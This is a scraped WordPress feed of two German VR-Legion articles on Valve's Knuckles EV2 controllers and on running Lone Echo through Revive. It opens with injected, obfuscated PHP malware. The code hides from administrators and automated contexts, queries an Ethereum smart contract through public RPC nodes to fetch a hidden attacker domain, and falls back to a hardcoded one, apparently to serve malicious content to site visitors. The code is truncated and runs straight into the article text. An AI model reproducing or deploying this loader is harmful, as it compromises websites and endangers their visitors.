if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$iMore
'.$h.'
Der Beitrag So funktioniert Lone Echo mit Valves neuen Knuckles EV2 Controllern erschien zuerst auf VR-Legion.
]]>
Das Oculus exklusive Spiel „Lone Echo“ funktioniert schon lange mit Revive. Die Vive Controller können jedoch nicht alle Inputs der Oculus Touch Controller aufweisen. Die Knuckles EV2 drehen nun den Spieß um.
Brian Lindenhof, der Entwickler des VR-Kletterspiels Climbey, durfte bereits die Knuckles EV1.3 sein eigen nennen. Seit einigen Wochen ist er ebenfalls im Besitz der neuen Knuckles EV2. Wie bereits in unserem Update-Check von Valves neuen Controllern erwähnt, sollte sich rein hardwaretechnisch ein Oculus Touch Controller mit allen seinen Inputs emulieren lassen.
Brian hat bereits versucht, einige Oculus Exklusivtitel mit den alten Knuckles EV1.3 zu spielen. Es fehlten jedoch immer noch einige Inputs. Mit der neuen Knuckles Version und einer Revive Beta hat er nun Lone Echo zum laufen bekommen. In einem Video zeigt er Gameplay der ersten 20 Minuten von Lone Echo mit den Knuckles EV2.
Einige Spiele stürzen laut seiner Aussage ab, obwohl sie normalerweise mit Revive funktionieren sollten. Auch Echo VR, der Multiplayer Ableger von Lone Echo, funktioniert noch nicht mit den neuen Controllern. In Lone Echo scheinen die neuen Controller jedoch sehr gut zu funktionieren. Das Finger Tracking funktioniert natürlich nicht. Gesten, welche auch mit einem echten Touch Controller funktionieren, sind aber möglich.
Valves neue Controller werden durch Revive noch einmal deutlich interessanter und zeigen sehr gut, wie viel Potenzial die Knuckles bieten. Einige Entwickler sind bereits im Besitz der EV2 und entwickeln (hoffentlich) fleißig an Knuckles Unterstützung in ihren Spielen.
Auch wenn wir weder den Preis, noch einen Erscheinungszeitraum für die Knuckles kennen, freuen wir uns schon sehr, die Controller selber einmal in unseren Händen halten zu dürfen. Es wird langsam spannend!
[amazon_link asins=’B079LDYF21,B076PCTP2W,B072586SVF,B079M8DT6P,B074D471C4,B073X8N1YW‘ template=’ProductCarousel‘ store=’vr-legion-21′ marketplace=’DE‘ link_id=’301c39a1-85de-11e8-9fd8-ede3bdc488da‘]
Der Beitrag So funktioniert Lone Echo mit Valves neuen Knuckles EV2 Controllern erschien zuerst auf VR-Legion.
]]>Der Beitrag Alle Veränderungen der neuen Knuckles EV2 im Überblick erschien zuerst auf VR-Legion.
]]>
Valve arbeitet schon seit längerer Zeit an den Knuckles VR-Controllern. Nun haben zahlreiche Entwickler die zweite Vorabversion der Controller erhalten.
Seit etwa einem Jahr sind verschiedene VR-Entwickler im Besitz von Valves neuen Controllern. Den sogenannten Knuckles EV 1.3 merkte man jedoch sehr stark an, dass noch einige Verbesserungen vorgenommen werden müssen. Jetzt hat Valve die zweite Vorabversion der Knuckles, die Knuckles EV2 an einige hundert Entwickler verschickt.
Valve hat sich das Feedback der EV 1.3-Besitzer zu Herzen genommen und die neue Version der Knuckles fast vollständig überarbeitet. Einer der größten Kritikpunkte, auch schon bei den Vive Wands, ist ein fehlender Analogstick. Vor allem in Spielen ist ein Touchpad, wie auf den Wands oder den Knuckles EV 1.3, nicht wirklich vorteilhaft. Daher war es Valve wichtig, den neuen Knuckles einen Analogstick zu spendieren.
Anscheinend wurde die Idee des Touchpads aber nicht komplett verworfen, denn neben dem Analogstick befindet sich nun auch der sogenannte Track Button auf den Controllern. Dieser soll weiterhin die Vorteile des Touchpads, wie zum Beispiel das Scrollen in Menüs, bieten. Der Track Button kann, wie es der Name schon verrät, auch als Knopf genutzt werden.
Ebenfalls besitzen die Knuckles jetzt jeweils einen A und einen B Knopf. Es findet sich ebenfalls ein Menü Knopf auf jedem Controller.

Das wohl wichtigste Feature der Knuckles ist das Finger tracking. Die Position unserer Finger kann stufenlos erkannt werden. Dadurch fühlen sich die virtuellen Hände deutlich realistischer an, weil wir mehr Kontrolle über diese haben. Das Fingertracking wurde nun einerseits durch verbesserte Software, als auch durch Hardware verbessert. So kalibriert sich das Tracking nun selber und die Position der Finger wird noch zuverlässiger ermittelt.
Die Gripfläche, der Trigger und alle anderen Eingabemöglichkeiten erkennen ab jetzt ebenfalls, ob ein Finger aufgelegt ist. Die Oculus Touch Controller nutzen bereits ähnliche Technik, um Gesten wie einen Daumen hoch oder das Zeigen mit unseren virtuellen Händen zu ermöglichen.
Die oben genannten Inputs werden dann von der Software auf das SteamVR Skeletal Input Modell übertragen. Das Skelett Modell soll als Standard über verschiedene Controller hinweg genutzt werden. Daher werden bereits die Vive Wands, die Oculus Touch Controller und die Knuckles EV2 unterstützt.
Auf allen aktuellen PC-VR Controllern lässt sich durchgehend ein Grip Button finden. Für die Knuckles ist dieser aber unwichtig, weil die getrackten Finger den Grip Button ersetzen. Valve hat die Stelle, an der wir sonst einen Grip Button finden sollten, aber nicht einfach leer gelassen. Die komplette Fläche, an welcher unsere Finger anliegen, ist nun ein Drucksensor.
Dieser erweitert die Interaktionsmöglichkeiten mit der virtuellen Welt weiter. Valve zeigt in einem Video der Controller-Techdemo einen möglichen Einsatzzweck. Im Video wird ein Sentry Turret aus Portal wie ein Stressball zusammengedrückt. Der Drucksensor kann den Druck sowohl analog, als auch digital erfassen. Somit lässt er sich auch als klassischer Grip Button in älteren Spielen nutzen. Erinnert ihr euch noch an den Track Button, den Ersatz für das Trackpad? Dieser ist ebenfalls ein Drucksensor und kann gleichermaßen genutzt werden.
Der vorherigen Version der Knuckles merkte man sehr stark an, dass es sich um kein fertiges Produkt handelt. So waren beispielsweise die SteamVR Tracking Sensoren noch sichtbar und nicht unter dem Plastik versteckt. Auch war die Handschlaufe, vor allem für recht große bzw. recht kleine Hände, sehr unpassend. Valve hat sich diesen Problemen angenommen und nachgebessert.
Der obere Teil der Handschlaufe kann nun auf die Länge des Daumens eingestellt werden, damit man alle Eingabemöglichkeiten auf der Oberseite gut erreichen kann. Das Material der Schlaufe wurde ebenfalls ausgetauscht, damit die Hand nicht in der Schlaufe herumrutscht.
Die SteamVR Tracking Sensoren sind ab jetzt auch unter dem Plastik versteckt. Dadurch wirkt der gesamte Controller mehr wie ein fertiges Produkt. Außerdem wurde die Akkulaufzeit deutlich verbessert und schlägt jetzt mit bis zu sechs Stunden zu Buche. Aufgeladen werden die Knuckles mit USB Type-C. Das Aufladen dauert laut Valve ca. eineinhalb Stunden.
Quelle: Valve
[amazon_link asins=’B071CDLYQ1,B0758HPMQ6,B07D7HL9KV,B073TTMW9M,B07143VD4C,B073PBYK4T‘ template=’ProductCarousel‘ store=’vr-legion-21′ marketplace=’DE‘ link_id=’7bf4639b-796d-11e8-8c19-dd48600c0e13′]Der Beitrag Alle Veränderungen der neuen Knuckles EV2 im Überblick erschien zuerst auf VR-Legion.
]]>